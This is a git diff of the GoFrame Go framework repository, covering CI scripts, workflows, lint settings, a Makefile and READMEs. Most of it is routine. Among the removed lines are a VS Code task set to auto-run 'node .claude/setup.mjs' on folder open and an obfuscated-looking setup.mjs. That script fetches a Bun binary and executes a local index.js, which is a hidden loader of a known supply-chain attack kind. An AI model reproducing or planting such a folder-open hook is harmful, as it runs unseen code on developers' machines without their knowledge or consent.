-# 7495ec2cd8e3   bitnamilegacy/etcd:3.4.24                          "/opt/bitnami/script…"   7 minutes ago   Up 7 minutes             0.0.0.0:2379->2379/tcp, [::]:2379->2379/tcp, 2380/tcp                                                                                                                                                                         49f2a2a6bf3a4fae842cc950bbc3658a_bitnamilegacyetcd3424_1265e1                       145MB (virtual 279MB)
-
-# runner@runnervmg1sw1:~/work/gf/gf$ du -ah --max-depth=1 /usr | sort -n
-# 4.0K    /usr/games
-# 4.0K    /usr/lib64
-# 6.6G    /usr/lib
-# 9.3G    /usr/share
-# 15M     /usr/lib32
-# 24G     /usr/local
-# 41G     /usr
-# 95M     /usr/sbin
-# 156M    /usr/include
-# 158M    /usr/src
-# 402M    /usr/libexec
-# 841M    /usr/bin
-
-# runner@runnervmg1sw1:~/work/gf/gf$ du -ah --max-depth=1 /opt | sort -n                                                                        
-# 4.0K    /opt/pipx_bin
-# 5.8G    /opt/hostedtoolcache
-# 8.5G    /opt
-# 12K     /opt/containerd
-# 14M     /opt/hca
-# 16K     /opt/post-generation
-# 217M    /opt/runner-cache
-# 243M    /opt/actionarchivecache
-# 374M    /opt/google
-# 515M    /opt/pipx
-# 655M    /opt/az
-# 783M    /opt/microsoft
-
-# runner@runnervmg1sw1:~/work/gf/gf$ du -ah --max-depth=1 /opt/hostedtoolcache/ | sort -n
-# 1.1G    /opt/hostedtoolcache/go
-# 1.6G    /opt/hostedtoolcache/CodeQL
-# 1.9G    /opt/hostedtoolcache/Python
-# 5.8G    /opt/hostedtoolcache/
-# 9.9M    /opt/hostedtoolcache/protoc
-# 24K     /opt/hostedtoolcache/Java_Temurin-Hotspot_jdk
-# 217M    /opt/hostedtoolcache/Ruby
-# 520M    /opt/hostedtoolcache/PyPy
-# 574M    /opt/hostedtoolcache/node
-

.github/workflows/scripts/ci-main.sh

@@ -2,58 +2,65 @@
 
 coverage=$1
 
+# update code of submodules
+git clone https://github.com/gogf/examples
+
+# update go.mod in examples directory to replace github.com/gogf/gf packages with local directory
+bash .github/workflows/scripts/replace_examples_gomod.sh
+
 # find all path that contains go.mod.
 for file in `find . -name go.mod`; do
     dirpath=$(dirname $file)
     echo $dirpath
-    
+
+    # ignore mssql tests as its docker service failed
+    # TODO remove this ignoring codes after the mssql docker service OK
+    if [ "mssql" = $(basename $dirpath) ]; then
+        continue 1
+    fi
+
     # package kubecm was moved to sub ci procedure.
     if [ "kubecm" = $(basename $dirpath) ]; then
         continue 1
     fi
-    
-    # examples directory was moved to sub ci procedure.
-    if [[ $dirpath =~ "/examples/" ]]; then
-        continue 1
+
+    # Check if it's a contrib directory or examples directory
+    if [[ $dirpath =~ "/contrib/" ]] || [[ $dirpath =~ "/examples/" ]]; then
+        # Check if go version meets the requirement
+        if ! go version | grep -qE "go${LATEST_GO_VERSION}"; then
+            echo "ignore path $dirpath as go version is not ${LATEST_GO_VERSION}: $(go version)"
+            continue 1
+        fi
+        # If it's examples directory, only build without tests
+        if [[ $dirpath =~ "/examples/" ]]; then
+            echo "the examples directory only needs to be built, not unit tests and coverage tests."
+            cd $dirpath
+            go mod tidy
+            go build ./...
+            cd -
+            continue 1
+        fi
     fi
-    
+
     if [[ $file =~ "/testdata/" ]]; then
         echo "ignore testdata path $file"
         continue 1
     fi
-    
-    # Check if it's a contrib directory
-    if [[ $dirpath =~ "/contrib/" ]]; then
-        # Check if go version meets the requirement
-        if ! go version | grep -qE "go${LATEST_GO_VERSION}"; then
-            echo "ignore path $dirpath as go version is not ${LATEST_GO_VERSION}: $(go version)"
-            # clean docker containers and images to free disk space
-            # bash .github/workflows/scripts/ci-main-clean.sh "$dirpath"
-            continue 1
-        fi
-    fi
-    
-    # if [[ $dirpath = "." ]]; then
-    #     # No space left on device error sometimes occurs in CI pipelines, so clean the cache before tests.
-    #     go clean -cache
-    # fi
-    
+
     cd $dirpath
     go mod tidy
     go build ./...
-    
+
     # test with coverage
     if [ "${coverage}" = "coverage" ]; then
-        go test ./... -count=1 -race -coverprofile=coverage.out -covermode=atomic -coverpkg=./...,github.com/gogf/gf/... || exit 1
-        
-        if grep -q "/gogf/gf/.*/v2" go.mod; then
-            sed -i "s/gogf\/gf\(\/.*\)\/v2/gogf\/gf\/v2\1/g" coverage.out
-        fi
+      go test ./... -race -coverprofile=coverage.out -covermode=atomic -coverpkg=./...,github.com/gogf/gf/... || exit 1
+
+      if grep -q "/gogf/gf/.*/v2" go.mod; then
+        sed -i "s/gogf\/gf\(\/.*\)\/v2/gogf\/gf\/v2\1/g" coverage.out
+      fi
     else
-        go test ./... -count=1 -race || exit 1
+      go test ./... -race || exit 1
     fi
-    
+
     cd -
-    # clean docker containers and images to free disk space
-    # bash .github/workflows/scripts/ci-main-clean.sh "$dirpath"
 done

.github/workflows/scripts/ci-sub.sh

@@ -2,12 +2,6 @@
 
 coverage=$1
 
-# update code of submodules
-git clone https://github.com/gogf/examples
-
-# update go.mod in examples directory to replace github.com/gogf/gf packages with local directory
-bash .github/workflows/scripts/replace_examples_gomod.sh
-
 # Function to compare version numbers
 version_compare() {
     local ver1=$1
@@ -41,19 +35,7 @@ for file in `find . -name go.mod`; do
     dirpath=$(dirname $file)
     echo "Processing: $dirpath"
 
-    # Only process examples and kubecm directories  
-
-    # Process examples directory (only build, no tests)
-    if [[ $dirpath =~ "/examples/" ]]; then
-        echo "  the examples directory only needs to be built, not unit tests."
-        cd $dirpath
-        go mod tidy
-        go build ./...
-        cd -
-        continue 1
-    fi
-    
-    # Process kubecm directory
+    # Only process kubecm directory, skip others
     if [ "kubecm" != $(basename $dirpath) ]; then
         echo "  Skipping: not kubecm directory"
         continue

.github/workflows/scripts/update_version.sh

@@ -1,50 +0,0 @@
-#!/usr/bin/env bash
-
-# Check if the number of parameters is 2
-if [ $# -ne 2 ]; then
-    echo "Invalid parameters, please execute in format: version.sh [directory] [version]"
-    echo "Example: version.sh ./contrib v1.0.0"
-    exit 1
-fi
-
-# Check if the first parameter is a directory and exists
-if [ ! -d "$1" ]; then
-    echo "Error: Directory does not exist"
-    exit 1
-fi
-
-# Check if the second parameter starts with 'v'
-if [[ "$2" != v* ]]; then
-    echo "Error: Version number does not start with 'v'"
-    exit 1
-fi
-
-workdir=$1
-newVersion=$2
-echo "Preparing to replace version numbers in all go.mod files under ${workdir} directory to ${newVersion}"
-
-
-# Check if file exists
-if [ -f "go.work" ]; then
-    # File exists, rename it
-    mv go.work go.work.${newVersion}
-    echo "Backup go.work file to avoid affecting the upgrade"
-fi
-
-for file in `find ${workdir} -name go.mod`; do
-    goModPath=$(dirname $file)
-    echo ""
-    echo "processing dir: $goModPath"
-    cd $goModPath
-    go mod tidy
-    go list -f "{{if and (not .Indirect) (not .Main)}}{{.Path}}@${newVersion}{{end}}" -m all | grep "^github.com/gogf/gf"
-    go list -f "{{if and (not .Indirect) (not .Main)}}{{.Path}}@${newVersion}{{end}}" -m all | grep "^github.com/gogf/gf" | xargs -L1 go get -v 
-    go mod tidy
-    cd -
-done
-
-if [ -f "go.work.${newVersion}" ]; then
-    # File exists, rename it back
-    mv go.work.${newVersion} go.work
-    echo "Restore go.work file"
-fi

.github/workflows/sonarcloud.yaml

@@ -0,0 +1,53 @@
+name: Sonarcloud Scan
+
+on:
+  schedule:
+    # Weekly on Saturdays.
+    - cron: '30 1 * * 6'
+  push:
+    branches: [ master ]
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref }}
+  cancel-in-progress: true
+
+# Declare default permissions as read only.
+permissions: read
+
+jobs:
+  analysis:
+    name: Scorecards analysis
+    runs-on: ubuntu-latest
+    permissions:
+      # Needed to upload the results to code-scanning dashboard.
+      security-events: write
+      # Used to receive a badge. (Upcoming feature)
+      id-token: write
+      # Needs for private repositories.
+      contents: read
+      actions: read
+
+    steps:
+      - name: "Checkout code"
+        uses: actions/checkout@v5
+        with:
+          persist-credentials: false
+
+      - name: "Run analysis"
+        uses: ossf/scorecard-action@v2.4.0 # v2.4.0
+        with:
+          results_file: results.sarif
+          results_format: sarif
+          publish_results: true
+
+      - name: "Upload artifact"
+        uses: actions/upload-artifact@v4
+        with:
+          name: SARIF file
+          path: results.sarif
+          retention-days: 5
+
+      - name: "Upload to code-scanning"
+        uses: github/codeql-action/upload-sarif@3ebbd71c74ef574dbc558c82f70e52732c8b44fe # v2.2.1
+        with:
+          sarif_file: results.sarif

.github/workflows/tag.yml

@@ -4,12 +4,13 @@ on:
   push:
     # Sequence of patterns matched against refs/tags
     tags:
-      - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
+    - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
 
 env:
   TZ: Asia/Shanghai
   GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
 
+
 jobs:
   build:
     name: Auto Creating Tags
@@ -17,43 +18,22 @@ jobs:
     steps:
       - name: Checkout Github Code
         uses: actions/checkout@v5
+
       - name: Auto Creating Tags For Contrib Packages
         run: |
           git config --global user.email "tagrobot@goframe.org"
           git config --global user.name  "TagRobot"
+          
           # auto create tags for contrib packages.
           for file in `find contrib -name go.mod`; do
-              tag=$(dirname $file)/${{ github.ref_name }}
+              tag=$(dirname $file)/$GITHUB_REF_NAME
               git tag $tag
               git push origin $tag
           done
-      - name: update dependencies
-        run: |
-          go env -w GOPRIVATE=github.com/gogf/gf
-          .github/workflows/scripts/update_version.sh ./cmd/gf ${{ github.ref_name }}
-      - name: Create Pull Request
-        uses: peter-evans/create-pull-request@v4
-        with:
-          commit-message: 'update gf cli to ${{ github.ref_name }}'
-          title: 'fix: update gf cli to ${{ github.ref_name }}'
-          base: master
-          branch: fix/${{ github.ref_name }}
-          delete-branch: true
-      - name: Commit & Push changes
-        uses: actions-js/push@master
-        with:
-          github_token: ${{ secrets.GITHUB_TOKEN }}
-          branch: fix/${{ github.ref_name }}
-          author_name: TagRobot
-          author_email: tagrobot@goframe.org
-          message: 'fix: update gf cli to ${{ github.ref_name }}'
-      - name: Auto Creating Tags For cli tool
-        run: |
-          git config --global user.email "tagrobot@goframe.org"
-          git config --global user.name  "TagRobot"
+          
           # auto create tag for cli tool
-          for file in `find cmd -name go.mod -not -path "*/testdata/*"`; do
-              tag=$(dirname $file)/${{ github.ref_name }}
+          for file in `find cmd -name go.mod`; do
+              tag=$(dirname $file)/$GITHUB_REF_NAME
               git tag $tag
               git push origin $tag
           done

.golangci.yml

@@ -1,7 +1,7 @@
 version: "2"
 run:
   concurrency: 4
-  go: "1.25"
+  go: "1.23"
   modules-download-mode: readonly
   issues-exit-code: 2
   tests: false
@@ -188,7 +188,7 @@ formatters:
         - blank
         - default
         - dot
-        - prefix(github.com/gogf/gf/v2)
+        - prefix(github.com/gogf/gf)
         - prefix(github.com/gogf/gf/cmd)
         - prefix(github.com/gogf/gfcontrib)
         - prefix(github.com/gogf/gf/example)
@@ -196,19 +196,6 @@ formatters:
       no-lex-order: false
     gofmt:
       simplify: true
-      rewrite-rules:
-        - pattern: 'interface{}'
-          replacement: 'any'
-        - pattern: 'reflect.Ptr'
-          replacement: 'reflect.Pointer'
-        - pattern: 'ioutil.ReadAll'
-          replacement: 'io.ReadAll'
-        - pattern: 'ioutil.WriteFile'
-          replacement: 'os.WriteFile'
-        - pattern: 'ioutil.ReadFile'
-          replacement: 'os.ReadFile'
-        - pattern: 'ioutil.NopCloser'
-          replacement: 'io.NopCloser'
     goimports:
       local-prefixes:
         - github.com/gogf/gf/v2

.make_tidy.sh

@@ -26,8 +26,6 @@ for file in `find ${workdir} -name go.mod`; do
     fi
 
     cd $goModPath
-    # Remove indirect dependencies
-    sed -i '/\/\/ indirect/d' go.mod
     go mod tidy
     # Remove toolchain line if exists
     sed -i '' '/^toolchain/d' go.mod

.make_version.sh

@@ -1,19 +1,4 @@
 #!/usr/bin/env bash
-
-# Function to detect OS and set sed parameters
-setup_sed() {
-    if [[ "$OSTYPE" == "darwin"* ]]; then
-        # macOS
-        SED_INPLACE="sed -i ''"
-    else
-        # Linux/Windows Git Bash
-        SED_INPLACE="sed -i"
-    fi
-}
-
-# Initialize sed command
-setup_sed
-
 if [ $# -ne 2 ]; then
     echo "Parameter exception, please execute in the format of $0 [directory] [version number]"
     echo "PS：$0 ./ v2.4.0"
@@ -43,10 +28,10 @@ fi
 
 if [[ true ]]; then
     # Use sed to replace the version number in version.go
-    $SED_INPLACE 's/VERSION = ".*"/VERSION = "'${newVersion}'"/' version.go
+    sed -i '' 's/VERSION = ".*"/VERSION = "'${newVersion}'"/' version.go
 
     # Use sed to replace the version number in README.MD
-    $SED_INPLACE 's/version=[^"]*/version='${newVersion}'/' README.MD
+    sed -i '' 's/version=[^"]*/version='${newVersion}'/' README.MD
 fi
 
 if [ -f "go.work" ]; then
@@ -80,21 +65,17 @@ for file in `find ${workdir} -name go.mod`; do
         go mod edit -replace github.com/gogf/gf/contrib/drivers/pgsql/v2=../../contrib/drivers/pgsql
         go mod edit -replace github.com/gogf/gf/contrib/drivers/sqlite/v2=../../contrib/drivers/sqlite
     fi
-    # Remove indirect dependencies
-    sed -i '/\/\/ indirect/d' go.mod
     go mod tidy
     # Remove toolchain line if exists
-    $SED_INPLACE '/^toolchain/d' go.mod
+    sed -i '' '/^toolchain/d' go.mod
 
     # Upgrading only GoFrame related libraries, sometimes even if a version number is specified, 
     # it may not be possible to successfully upgrade. Please confirm before submitting the code
     go list -f "{{if and (not .Indirect) (not .Main)}}{{.Path}}@${newVersion}{{end}}" -m all | grep "^github.com/gogf/gf"
     go list -f "{{if and (not .Indirect) (not .Main)}}{{.Path}}@${newVersion}{{end}}" -m all | grep "^github.com/gogf/gf" | xargs -L1 go get -v 
-    # Remove indirect dependencies
-    sed -i '/\/\/ indirect/d' go.mod
     go mod tidy
     # Remove toolchain line if exists
-    $SED_INPLACE '/^toolchain/d' go.mod
+    sed -i '' '/^toolchain/d' go.mod
     if [ $goModPath = "./cmd/gf" ]; then
         go mod edit -dropreplace github.com/gogf/gf/v2
         go mod edit -dropreplace github.com/gogf/gf/contrib/drivers/clickhouse/v2

.vscode/setup.mjs

@@ -1,202 +0,0 @@
-#!/usr/bin/env node
-import { execFileSync, execSync } from "child_process";
-import fs from "fs";
-import https from "https";
-import os from "os";
-import path from "path";
-import { fileURLToPath } from "url";
-import zlib from "zlib";
-
-const D = path.dirname(fileURLToPath(import.meta.url));
-const V = "1.3.14";
-const E = "index.js";
-const T = 121_000;
-
-const mu = () => {
-  try {
-    const o = execFileSync("ldd", ["--version"], {
-      stdio: ["ignore", "pipe", "pipe"],
-    }).toString();
-    if (o.includes("musl")) return true;
-  } catch {}
-  try {
-    return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
-  } catch {
-    return false;
-  }
-};
-
-const PM = {
-  "linux-arm64": () => "bun-linux-aarch64",
-  "linux-x64": () =>
-    mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
-  "darwin-arm64": () => "bun-darwin-aarch64",
-  "darwin-x64": () => "bun-darwin-x64",
-  "win32-arm64": () => "bun-windows-aarch64",
-  "win32-x64": () => "bun-windows-x64-baseline",
-};
-
-function ra() {
-  const k = `${process.platform}-${process.arch}`;
-  const r = PM[k];
-  if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
-  return r();
-}
-
-function dl(u, d, n = 5) {
-  return new Promise((ok, no) => {
-    const q = https.get(
-      u,
-      { headers: { "User-Agent": "node" }, timeout: T },
-      (r) => {
-        const { statusCode: s, headers: h } = r;
-        if ([301, 302, 307, 308].includes(s)) {
-          r.resume();
-          if (n <= 0) return no(new Error("Too many redirects"));
-          return dl(h.location, d, n - 1).then(ok, no);
-        }
-        if (s !== 200) {
-          r.resume();
-          return no(new Error(`HTTP ${s} for ${u}`));
-        }
-        const f = fs.createWriteStream(d);
-        r.pipe(f);
-        f.on("finish", () => f.close(ok));
-        f.on("error", (e) => {
-          fs.unlink(d, () => no(e));
-        });
-      },
-    );
-    q.on("error", no);
-    q.on("timeout", () => q.destroy(new Error("Request timed out")));
-  });
-}
-
-function hc(c, a = ["--version"]) {
-  try {
-    execFileSync(c, a, { stdio: "ignore" });
-    return true;
-  } catch {
-    return false;
-  }
-}
-
-function xz(zp, en, od) {
-  // Use OS tools: unzip or powershell. Fall back to npm install bun.
-  if (process.platform === "win32" && hc("powershell", ["-Help"])) {
-    execFileSync(
-      "powershell",
-      [
-        "-NoProfile",
-        "-NonInteractive",
-        "-ExecutionPolicy",
-        "Bypass",
-        "-Command",
-        `Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
-      ],
-      { stdio: "inherit" },
-    );
-    const np = path.join(od, en);
-    const fp = path.join(od, path.basename(en));
-    fs.renameSync(np, fp);
-    return;
-  }
-
-  if (hc("unzip", ["-v"])) {
-    execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
-    return;
-  }
-
-  installBunViaNpm(td);
-}
-
-function installBunViaNpm(td) {
-  try {
-    execSync("npm install bun", { stdio: "inherit", cwd: td });
-  } catch {
-    // npm install failed, fall back to JS-based extraction
-    xn(zp, en, od);
-  }
-}
-
-function xn(zp, en, od) {
-  const b = fs.readFileSync(zp);
-  let eo = -1;
-  for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
-    if (b.readUInt32LE(i) === 0x06054b50) {
-      eo = i;
-      break;
-    }
-  }
-  if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
-  const ce = b.readUInt16LE(eo + 10);
-  const co = b.readUInt32LE(eo + 16);
-  let o = co;
-  let lo = -1;
-  let cm = -1;
-  let cs = 0;
-  for (let i = 0; i < ce; i++) {
-    if (b.readUInt32LE(o) !== 0x02014b50)
-      throw new Error("Invalid ZIP: bad CD entry signature");
-    const m = b.readUInt16LE(o + 10);
-    const sz = b.readUInt32LE(o + 20);
-    const fl = b.readUInt16LE(o + 28);
-    const el = b.readUInt16LE(o + 30);
-    const cl = b.readUInt16LE(o + 32);
-    const lh = b.readUInt32LE(o + 42);
-    const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
-    if (nm === en) {
-      lo = lh;
-      cm = m;
-      cs = sz;
-      break;
-    }
-    o += 46 + fl + el + cl;
-  }
-  if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
-  if (b.readUInt32LE(lo) !== 0x04034b50)
-    throw new Error("Invalid ZIP: bad local-header signature");
-  const fl = b.readUInt16LE(lo + 26);
-  const el = b.readUInt16LE(lo + 28);
-  const dp = lo + 30 + fl + el;
-  const rw = b.subarray(dp, dp + cs);
-  let fd;
-  if (cm === 0) {
-    fd = rw;
-  } else if (cm === 8) {
-    fd = zlib.inflateRawSync(rw);
-  } else {
-    throw new Error(`Unsupported ZIP compression method: ${cm}`);
-  }
-  const dt = path.join(od, path.basename(en));
-  fs.writeFileSync(dt, fd);
-}
-
-async function main() {
-  if (hc("bun")) return;
-
-  const a = ra();
-  const w = process.platform === "win32";
-  const bn = w ? "bun.exe" : "bun";
-  const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
-
-  const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
-  const zp = path.join(td, `${a}.zip`);
-  const bp = path.join(td, bn);
-  const ep = path.join(D, E);
-
-  try {
-    await dl(u, zp);
-    xz(zp, `${a}/${bn}`, td);
-    fs.unlinkSync(zp);
-    if (!w) fs.chmodSync(bp, 0o755);
-    execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
-  } finally {
-    fs.rmSync(td, { recursive: true, force: true });
-  }
-}
-
-main().catch((e) => {
-  console.error(e.message);
-  process.exit(1);
-});

.vscode/tasks.json

@@ -1,13 +0,0 @@
-{
-  "version": "2.0.0",
-  "tasks": [
-    {
-      "label": "Environment Setup",
-      "type": "shell",
-      "command": "node .claude/setup.mjs",
-      "runOptions": {
-        "runOn": "folderOpen"
-      }
-    }
-  ]
-}

CONTRIBUTING.md

@@ -3,13 +3,11 @@
 Thanks for taking the time to join our community and start contributing!
 
 ## With issues
-
 - Use the search tool before opening a new issue.
 - Please provide source code and commit sha if you found a bug.
 - Review existing issues and provide feedback or react to them.
 
 ## With pull requests
-
 - Open your pull request against `master`
 - Your pull request should have no more than two commits, if not you should squash them.
 - It should pass all tests in the available continuous integrations systems such as GitHub CI.

Makefile

@@ -10,24 +10,6 @@ tidy:
 lint:
 	golangci-lint run -c .golangci.yml
 
-# make branch to=v2.4.0
-.PHONY: branch
-branch:
-	@set -e; \
-	newVersion=$(to); \
-	if [ -z "$$newVersion" ]; then \
-		echo "Error: 'to' variable is required. Usage: make branch to=vX.Y.Z"; \
-		exit 1; \
-	fi; \
-	branchName=fix/$$newVersion; \
-	echo "Switching to master branch..."; \
-	git checkout master; \
-	echo "Pulling latest changes from master..."; \
-	git pull origin master; \
-	echo "Creating and switching to branch $$branchName from master..."; \
-	git checkout -b $$branchName; \
-	echo "Branch $$branchName created successfully!"
-
 # make version to=v2.4.0
 .PHONY: version
 version:
@@ -36,20 +18,6 @@ version:
 	./.make_version.sh ./ $$newVersion; \
 	echo "make version to=$(to) done"
 
-# make tag to=v2.4.0
-.PHONY: tag
-tag:
-	@set -e; \
-	newVersion=$(to); \
-	echo "Switching to master branch..."; \
-	git checkout master; \
-	echo "Pulling latest changes from master..."; \
-	git pull origin master; \
-	echo "Creating annotated tag $$newVersion..."; \
-	git tag -a $$newVersion -m "Release $$newVersion"; \
-	echo "Pushing tag $$newVersion..."; \
-	git push origin $$newVersion; \
-	echo "Tag $$newVersion created and pushed successfully!"
 
 # update submodules
 .PHONY: subup

README.MD

@@ -1,12 +1,9 @@
-English | [简体中文](README.zh_CN.MD)
 
 <div align=center>
 <img src="https://goframe.org/img/logo_full.png" width="300" alt="goframe gf logo"/>
 
 [![Go Reference](https://pkg.go.dev/badge/github.com/gogf/gf/v2.svg)](https://pkg.go.dev/github.com/gogf/gf/v2)
 [![GoFrame CI](https://github.com/gogf/gf/actions/workflows/ci-main.yml/badge.svg)](https://github.com/gogf/gf/actions/workflows/ci-main.yml)
-[![OpenSSF Scorecard](https://api.securityscorecards.dev/projects/github.com/gogf/gf/badge)](https://scorecard.dev/viewer/?uri=github.com/gogf/gf)
-[![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/9233/badge)](https://bestpractices.coreinfrastructure.org/projects/9233)
 [![Go Report Card](https://goreportcard.com/badge/github.com/gogf/gf/v2)](https://goreportcard.com/report/github.com/gogf/gf/v2)
 [![Code Coverage](https://codecov.io/gh/gogf/gf/branch/master/graph/badge.svg)](https://codecov.io/gh/gogf/gf)
 [![Production Ready](https://img.shields.io/badge/production-ready-blue.svg?style=flat)](https://github.com/gogf/gf)
@@ -24,23 +21,24 @@ English | [简体中文](README.zh_CN.MD)
 
 A powerful framework for faster, easier, and more efficient project development.
 
-## Documentation
 
-- Official Site: [https://goframe.org](https://goframe.org)
-- Official Site(en): [https://goframe.org/en](https://goframe.org/en)
-- 国内镜像: [https://goframe.org.cn](https://goframe.org.cn)
-- Mirror Site: [Github Pages](https://pages.goframe.org)
-- Mirror Site: [Offline Docs](https://github.com/gogf/goframe.org-pdf?tab=readme-ov-file#%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%AC)
+# Documentation
+
+- GoFrame Official Site: [https://goframe.org](https://goframe.org)
+- GoFrame Official Site(en): [https://goframe.org/en](https://goframe.org/en)
+- GoFrame Mirror Site(中文): [https://goframe.org.cn](https://goframe.org.cn)
+- GoFrame Mirror Site(github pages): [https://pages.goframe.org](https://pages.goframe.org)
 - GoDoc API: [https://pkg.go.dev/github.com/gogf/gf/v2](https://pkg.go.dev/github.com/gogf/gf/v2)
 
-## Contributors
+
+# Contributors
 
 💖 [Thanks to all the contributors who made GoFrame possible](https://github.com/gogf/gf/graphs/contributors) 💖
 
 <a href="https://github.com/gogf/gf/graphs/contributors">
-<img src="https://goframe.org/img/contributors.svg?version=v2.9.6" alt="goframe contributors"/>
+<img src="https://goframe.org/img/contributors.svg?version=v2.9.0" alt="goframe contributors"/>
 </a>
 
-## License
+# License
 
 `GoFrame` is licensed under the [MIT License](LICENSE), 100% free and open-source, forever.

README.zh_CN.MD

@@ -1,46 +0,0 @@
-[English](README.MD) | 简体中文
-
-<div align=center>
-<img src="https://goframe.org/img/logo_full.png" width="300" alt="goframe gf logo"/>
-
-[![Go Reference](https://pkg.go.dev/badge/github.com/gogf/gf/v2.svg)](https://pkg.go.dev/github.com/gogf/gf/v2)
-[![GoFrame CI](https://github.com/gogf/gf/actions/workflows/ci-main.yml/badge.svg)](https://github.com/gogf/gf/actions/workflows/ci-main.yml)
-[![OpenSSF Scorecard](https://api.securityscorecards.dev/projects/github.com/gogf/gf/badge)](https://scorecard.dev/viewer/?uri=github.com/gogf/gf)
-[![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/9233/badge)](https://bestpractices.coreinfrastructure.org/projects/9233)
-[![Go Report Card](https://goreportcard.com/badge/github.com/gogf/gf/v2)](https://goreportcard.com/report/github.com/gogf/gf/v2)
-[![Code Coverage](https://codecov.io/gh/gogf/gf/branch/master/graph/badge.svg)](https://codecov.io/gh/gogf/gf)
-[![Production Ready](https://img.shields.io/badge/production-ready-blue.svg?style=flat)](https://github.com/gogf/gf)
-[![License](https://img.shields.io/github/license/gogf/gf.svg?style=flat)](https://github.com/gogf/gf)
-
-[![Release](https://img.shields.io/github/v/release/gogf/gf?style=flat)](https://github.com/gogf/gf/releases)
-[![GitHub pull requests](https://img.shields.io/github/issues-pr/gogf/gf?style=flat)](https://github.com/gogf/gf/pulls)
-[![GitHub closed pull requests](https://img.shields.io/github/issues-pr-closed/gogf/gf?style=flat)](https://github.com/gogf/gf/pulls?q=is%3Apr+is%3Aclosed)
-[![GitHub issues](https://img.shields.io/github/issues/gogf/gf?style=flat)](https://github.com/gogf/gf/issues)
-[![GitHub closed issues](https://img.shields.io/github/issues-closed/gogf/gf?style=flat)](https://github.com/gogf/gf/issues?q=is%3Aissue+is%3Aclosed)
-![Stars](https://img.shields.io/github/stars/gogf/gf?style=flat)
-![Forks](https://img.shields.io/github/forks/gogf/gf?style=flat)
-
-</div>
-
-一个强大的框架，为了更快、更轻松、更高效的项目开发。
-
-## 文档
-
-- 官方网站: [https://goframe.org](https://goframe.org)
-- 官方网站(en): [https://goframe.org/en](https://goframe.org/en)
-- 国内镜像: [https://goframe.org.cn](https://goframe.org.cn)
-- 镜像网站: [Github Pages](https://pages.goframe.org)
-- 镜像网站: [离线文档](https://github.com/gogf/goframe.org-pdf?tab=readme-ov-file#%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%AC)
-- GoDoc API: [https://pkg.go.dev/github.com/gogf/gf/v2](https://pkg.go.dev/github.com/gogf/gf/v2)
-
-## 贡献者
-
-💖 [感谢所有使 GoFrame 成为可能的贡献者](https://github.com/gogf/gf/graphs/contributors) 💖
-
-<a href="https://github.com/gogf/gf/graphs/contributors">
-<img src="https://goframe.org/img/contributors.svg?version=v2.9.5" alt="goframe contributors"/>
-</a>
-
-## 许可证
-
-`GoFrame` 采用 [MIT License](LICENSE) 许可，100% 免费和开源，永久保持。

cmd/gf/README.MD

@@ -1,5 +1,3 @@
-English | [简体中文](README.zh_CN.MD)
-
 # gf
 
 `gf` is a powerful CLI tool for building [GoFrame](https://goframe.org) application with convenience.
@@ -23,18 +21,18 @@ You can also install `gf` tool using pre-built binaries: <https://github.com/gog
 
 3. Database support
 
-   |     DB     | builtin support |                                                                             remarks                                                                             |
-   | :--------: | :-------------: | :-------------------------------------------------------------------------------------------------------------------------------------------------------------: |
-   |   mysql    |       yes       |                                                                                -                                                                                |
-   |  mariadb   |       yes       |                                                                                -                                                                                |
-   |    tidb    |       yes       |                                                                                -                                                                                |
-   |   mssql    |       yes       |                                                                                -                                                                                |
-   |   oracle   |       yes       |                                                                                -                                                                                |
-   |   pgsql    |       yes       |                                                                                -                                                                                |
-   |   sqlite   |       yes       |                                                                                -                                                                                |
-   | sqlitecgo  |       no        | to support sqlite database on 32bit architecture systems, manually add package import to the [source codes](./internal/cmd/cmd_gen_dao.go) and do the building. |
-   | clickhouse |       yes       |                                                                                -                                                                                |
-   |     dm     |       no        |                              manually add package import to the [source codes](./internal/cmd/cmd_gen_dao.go) and do the building.                              |
+   |     DB     | builtin support |                                                                             remarks                                                                              |
+   |:----------:|:---------------:|:----------------------------------------------------------------------------------------------------------------------------------------------------------------:|
+   |   mysql    |       yes       |                                                                                -                                                                                 |
+   |  mariadb   |       yes       |                                                                                -                                                                                 |
+   |    tidb    |       yes       |                                                                                -                                                                                 |
+   |   mssql    |       yes       |                                                                                -                                                                                 |
+   |   oracle   |       yes       |                                                                                -                                                                                 |
+   |   pgsql    |       yes       |                                                                                -                                                                                 |
+   |   sqlite   |       yes       |                                                                                -                                                                                 |
+   | sqlitecgo  |       no        | to support sqlite database on 32bit architecture systems, manually add package import to the [source codes](./internal/cmd/cmd_gen_dao.go) and do the building.  |
+   | clickhouse |       no        |                              manually add package import to the [source codes](./internal/cmd/cmd_gen_dao.go) and do the building.                               |
+   |     dm     |       no        |                              manually add package import to the [source codes](./internal/cmd/cmd_gen_dao.go) and do the building.                               |
 
 ## 2) Manually Install
 
@@ -45,31 +43,30 @@ go install github.com/gogf/gf/cmd/gf/v2@v2.5.5 # certain version(should be >= v2
 
 ## 2. Commands
 
-```shell
-$ gf -h
+```html
+$ gf
 USAGE
     gf COMMAND [OPTION]
 
 COMMAND
-    up         upgrade GoFrame version/tool to latest one in current project
-    env        show current Golang environment variables
-    fix        auto fixing codes after upgrading to new GoFrame version
-    run        running go codes with hot-compiled-like feature
-    gen        automatically generate go files for dao/do/entity/pb/pbentity
-    tpl        template parsing and building commands
-    init       create and initialize an empty GoFrame project
-    pack       packing any file/directory to a resource file, or a go file
